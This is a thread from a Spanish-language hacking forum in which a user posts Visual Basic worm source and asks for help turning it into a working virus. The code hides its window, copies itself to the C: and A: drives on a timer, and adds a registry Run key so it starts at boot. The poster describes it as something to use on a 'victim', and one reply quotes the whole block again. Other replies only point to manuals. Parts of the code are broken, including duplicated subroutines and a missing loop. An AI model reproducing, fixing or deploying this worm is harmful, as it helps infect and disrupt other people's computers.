hacker


Ingresar con nombre de usuario, contraseña y duración de la sesión
| Portal Hacker | Editorial | Descargas | Ezine |
Inicio Ayuda Ingresar Registrarse
06 de Octubre de 2008, 12:16:07
Noticias: La segunda fase del torneo de matemáticas ya ha empezado!!
Para ver este enlace Registrate o Inicia Sesion
ver

+  Foros pOrtal Hacker
|-+  Programacion
| |-+  Programación en general
| | |-+  Visual Basic (Moderadores: ranefi, crypto136, ziBboh, >> s E t H <<)
| | | |-+  Ayuda cOn el SsS y con el VB!!
0 Usuarios y 1 Visitante están viendo este tema. « anterior próximo »
Páginas: [1] Ir Abajo Imprimir
Autor Tema: Ayuda cOn el SsS y con el VB!!  (Leído 267 veces)
Dr.Piedra
NZ1
*
Desconectado Desconectado

Mensajes: 100


Aprendiendo... primero la teoria luego la practica


Ver Perfil
« : 07 de Marzo de 2007, 05:38:21 »

wenas... hace poco que uso el SsS, y ademas lo tengo en ingles... y nose usarlo lei unas guias pero nada...
nose usarlo,Si alguien me pudiera decir como usarlo... se lo agradeceria...


Haora mi problema con el Visual basic, mi problema es que no se usarlo como programador de virus... me salen un monton de maneras de usarlo...

pero nose en que modelidad ponerlo para introducir el codigo y acer  el virus aki tengo un gusano pero nose que parte es el cliente y que parte es el gusano... ayudarme
Hace mucho que tengo este codigo en la pc
aki dejo el codigo
Código:
Sub Form_Load()
On Error Resume Next
Open “C:\ Worm.Win32.TutorialVB.TXT” For Output As #1 'ruta que seguira el Worm puedes darle otra ruta.. ten ojo en esto
Print #1, “Este TXT lo genero”
Print #1, “el”
Print #1, “Worm.Win32.TutorialVB”
Close #1
End Sub
'----------------------------------------------------------------------------------
'----------------------------------------------------------------------------------

Sub Form_Load()
Do ' esto al contrario que el On Error Resume Next verifica a cada momento si el tienmpo actual es el que se declara para volver a copiarse
If Minute(Now) = 3 Then FileCopy App.EXEName & ".EXE", ".\HijodelGusano.EXE"
End Sub
'----------------------------------------------------------------------------------
'como ves esto es por ejemplo el minuto es 3 pues el worm se vuelve a copiar en el destino introducido
'Seguimos añadiendo informacion sobre los segundos ahora... no hace falta que siga explicando.... no?   
'----------------------------------------------------------------------------------
Sub Form_Load()
On Error Resume Next
Do
If Minute(Now)= 5 And Second(Now) = 5 Then FileCopy App.EXEName & ".EXE", ".\K.EXE"
Loop
End Sub
'----------------------------------------------------------------------------------
'esto otro ara que el Worm se copie en el directorio que se declara, cada
'vez que el minuto y el segundo coincida con los del sistema... todo esto
'se añade para que este se auntocopie el mayor numero de veces posible
' asta ay te digo tu ya az lo que veas (la declaracion second(now) y minute
'(now)   las utiliza para conocer la hora y segundos actuales de el systema
' de tu victima lo que hace aqui es llamarla a partir de declaraciones...   

"ESTO NO LO COPIES EN el FORM e " weno explico un poco como hacer invisible el FORM a la derecha del programa ay como una lista de las propiedades de el form, bueno pues buscamos la propiedad "Visible" y cambiamos el "true" por el "false"   y ya no dara el cantazo...


' EMPIEZA A COPIAR!!   Aki dejo el codigo de este worm Worm.Win32.Yaneth.7168. es bueno añadelo al form
'-------------------------------------------------------------------------
Private Sub Form_Load()
A = App.EXEName   
E = ".exe"
C = "C:\Yaneth.exe"
On Error Resume Next
FileCopy A & E, C 'seguimiento de las 4 lineas anteriores hace que cumplan su funcion "copiarese
Set Yanet = CreateObject("WScript.Shell" ) Yanet.regwrite "HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Run\Yaneth", C
Open "C:\Yaneth.txt" For Output As #1
Print #1, "\^fibsoZ'e~'Lrftfif`rn(@BC>FD"
Print #1, "\¸^fibso'chicb'btsft8Z"
Print #1, "\¦Btsf'dhi'kkrqnf&+'¦btsf'dhi'kkrqnf&Z"
Print #1, "\H'sfk'qb}+'sfk'qb}'))))'dhi'bk'vrnjndhZ"
Print #1, "\Bth'ih'bt'mrtshZ"
Print #1, "\Dhih}dh'f'fk`rnbi'vrb'kf'vrnbub'jft)))Z"
Close #1
Do
M = Minute(Now)
S = Second(Now)
Y = "A:\Yaneth.exe"
If M = 0 And S = 0 Then FileCopy A & E, Y
If M = 5 And S = 0 Then FileCopy A & E, Y
If M = 10 And S = 0 Then FileCopy A & E, Y
If M = 15 And S = 0 Then FileCopy A & E, Y
If M = 20 And S = 0 Then FileCopy A & E, Y
If M = 25 And S = 0 Then FileCopy A & E, Y
If M = 30 And S = 0 Then FileCopy A & E, Y
If M = 35 And S = 0 Then FileCopy A & E, Y
If M = 40 And S = 0 Then FileCopy A & E, Y
If M = 45 And S = 0 Then FileCopy A & E, Y
If M = 50 And S = 0 Then FileCopy A & E, Y
If M = 55 And S = 0 Then FileCopy A & E, Y
Loop
End Sub 'crea una shell en el registro, se copia en C, A, E

'---------------------------------------------------------------------   

lo que hace es colgar la PC es sencillo pero esta bien para .... a tu victima... se autoejecuta al iniciar l PC!..
Por fabor quien sepa usar el VB q me diga como usarlo gracias...!
En línea

se agradecen las cosas si te gusta ...  ... ... ... ... ... ... ...
RaKi0N
NZ5
*****
Desconectado Desconectado

Mensajes: 1,297


Muestralo con hechos,jamás con palabras


Ver Perfil
« Respuesta #1 : 07 de Marzo de 2007, 06:20:50 »

Te recomiendo que te bajes un buen manual sobre Visual Basic, o sobre librerias DLL para programar.

Programar un virus es siempre lo mismo, ADD REG registro, el valor del virus, el tamaño

y lo que quieres que haga.

Bajate un manual que hay miles en el foro en la sección de Virus & Troyanos. Saludos
En línea

¿El anonimato? ¿En la red? ¿Tu crees?
Korpex
Visitante
« Respuesta #2 : 09 de Marzo de 2007, 01:02:35 »

wenas... hace poco que uso el SsS, y ademas lo tengo en ingles... y nose usarlo lei unas guias pero nada...
nose usarlo,Si alguien me pudiera decir como usarlo... se lo agradeceria...


Haora mi problema con el Visual basic, mi problema es que no se usarlo como programador de virus... me salen un monton de maneras de usarlo...

pero nose en que modelidad ponerlo para introducir el codigo y acer  el virus aki tengo un gusano pero nose que parte es el cliente y que parte es el gusano... ayudarme
Hace mucho que tengo este codigo en la pc
aki dejo el codigo
Código:
Sub Form_Load()
On Error Resume Next
Open “C:\ Worm.Win32.TutorialVB.TXT” For Output As #1 'ruta que seguira el Worm puedes darle otra ruta.. ten ojo en esto
Print #1, “Este TXT lo genero”
Print #1, “el”
Print #1, “Worm.Win32.TutorialVB”
Close #1
End Sub
'----------------------------------------------------------------------------------
'----------------------------------------------------------------------------------

Sub Form_Load()
Do ' esto al contrario que el On Error Resume Next verifica a cada momento si el tienmpo actual es el que se declara para volver a copiarse
If Minute(Now) = 3 Then FileCopy App.EXEName & ".EXE", ".\HijodelGusano.EXE"
End Sub
'----------------------------------------------------------------------------------
'como ves esto es por ejemplo el minuto es 3 pues el worm se vuelve a copiar en el destino introducido
'Seguimos añadiendo informacion sobre los segundos ahora... no hace falta que siga explicando.... no?   
'----------------------------------------------------------------------------------
Sub Form_Load()
On Error Resume Next
Do
If Minute(Now)= 5 And Second(Now) = 5 Then FileCopy App.EXEName & ".EXE", ".\K.EXE"
Loop
End Sub
'----------------------------------------------------------------------------------
'esto otro ara que el Worm se copie en el directorio que se declara, cada
'vez que el minuto y el segundo coincida con los del sistema... todo esto
'se añade para que este se auntocopie el mayor numero de veces posible
' asta ay te digo tu ya az lo que veas (la declaracion second(now) y minute
'(now)   las utiliza para conocer la hora y segundos actuales de el systema
' de tu victima lo que hace aqui es llamarla a partir de declaraciones...   

"ESTO NO LO COPIES EN el FORM e " weno explico un poco como hacer invisible el FORM a la derecha del programa ay como una lista de las propiedades de el form, bueno pues buscamos la propiedad "Visible" y cambiamos el "true" por el "false"   y ya no dara el cantazo...


' EMPIEZA A COPIAR!!   Aki dejo el codigo de este worm Worm.Win32.Yaneth.7168. es bueno añadelo al form
'-------------------------------------------------------------------------
Private Sub Form_Load()
A = App.EXEName   
E = ".exe"
C = "C:\Yaneth.exe"
On Error Resume Next
FileCopy A & E, C 'seguimiento de las 4 lineas anteriores hace que cumplan su funcion "copiarese
Set Yanet = CreateObject("WScript.Shell" ) Yanet.regwrite "HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Run\Yaneth", C
Open "C:\Yaneth.txt" For Output As #1
Print #1, "\^fibsoZ'e~'Lrftfif`rn(@BC>FD"
Print #1, "\¸^fibso'chicb'btsft8Z"
Print #1, "\¦Btsf'dhi'kkrqnf&+'¦btsf'dhi'kkrqnf&Z"
Print #1, "\H'sfk'qb}+'sfk'qb}'))))'dhi'bk'vrnjndhZ"
Print #1, "\Bth'ih'bt'mrtshZ"
Print #1, "\Dhih}dh'f'fk`rnbi'vrb'kf'vrnbub'jft)))Z"
Close #1
Do
M = Minute(Now)
S = Second(Now)
Y = "A:\Yaneth.exe"
If M = 0 And S = 0 Then FileCopy A & E, Y
If M = 5 And S = 0 Then FileCopy A & E, Y
If M = 10 And S = 0 Then FileCopy A & E, Y
If M = 15 And S = 0 Then FileCopy A & E, Y
If M = 20 And S = 0 Then FileCopy A & E, Y
If M = 25 And S = 0 Then FileCopy A & E, Y
If M = 30 And S = 0 Then FileCopy A & E, Y
If M = 35 And S = 0 Then FileCopy A & E, Y
If M = 40 And S = 0 Then FileCopy A & E, Y
If M = 45 And S = 0 Then FileCopy A & E, Y
If M = 50 And S = 0 Then FileCopy A & E, Y
If M = 55 And S = 0 Then FileCopy A & E, Y
Loop
End Sub 'crea una shell en el registro, se copia en C, A, E

'---------------------------------------------------------------------   

lo que hace es colgar la PC es sencillo pero esta bien para .... a tu victima... se autoejecuta al iniciar l PC!..
Por fabor quien sepa usar el VB q me diga como usarlo gracias...!

Muchos errores de concepto...

Para ver este enlace Registrate o Inicia Sesion
http://es.wikipedia.org/wiki/Malware


Manuales... manuales...


Para ver este enlace Registrate o Inicia Sesion
http://www.google.es/search?hl=es&q=manual+VB&btnG=B%C3%BAsqueda&meta=
En línea
ziBboh
Moderador
*****
Desconectado Desconectado

Mensajes: 369


ziBboh dice: Ya nacio mini-ziBboh! :)


Ver Perfil
« Respuesta #3 : 11 de Marzo de 2007, 06:27:31 »

Te recomiendo leer muchos manuales y comenzando a crear programas sencillos y no necesariamente un virus.

No vayas de caceria sin saber usar tu arma!
En línea



ziBboh dice: NO SPAM!El número de post no te hace mejor ...Todos somos iguales!
Páginas: [1] Ir Arriba Imprimir 
« anterior próximo »
Ir a:  


Ingresar con nombre de usuario, contraseña y duración de la sesión

Powered by SMF 1.1.6 | SMF © 2006-2008, Simple Machines LLC hacker

Juegos gratis - Articulos PHP - Juegos - Trucos - Letras - Juegos - Juegos Online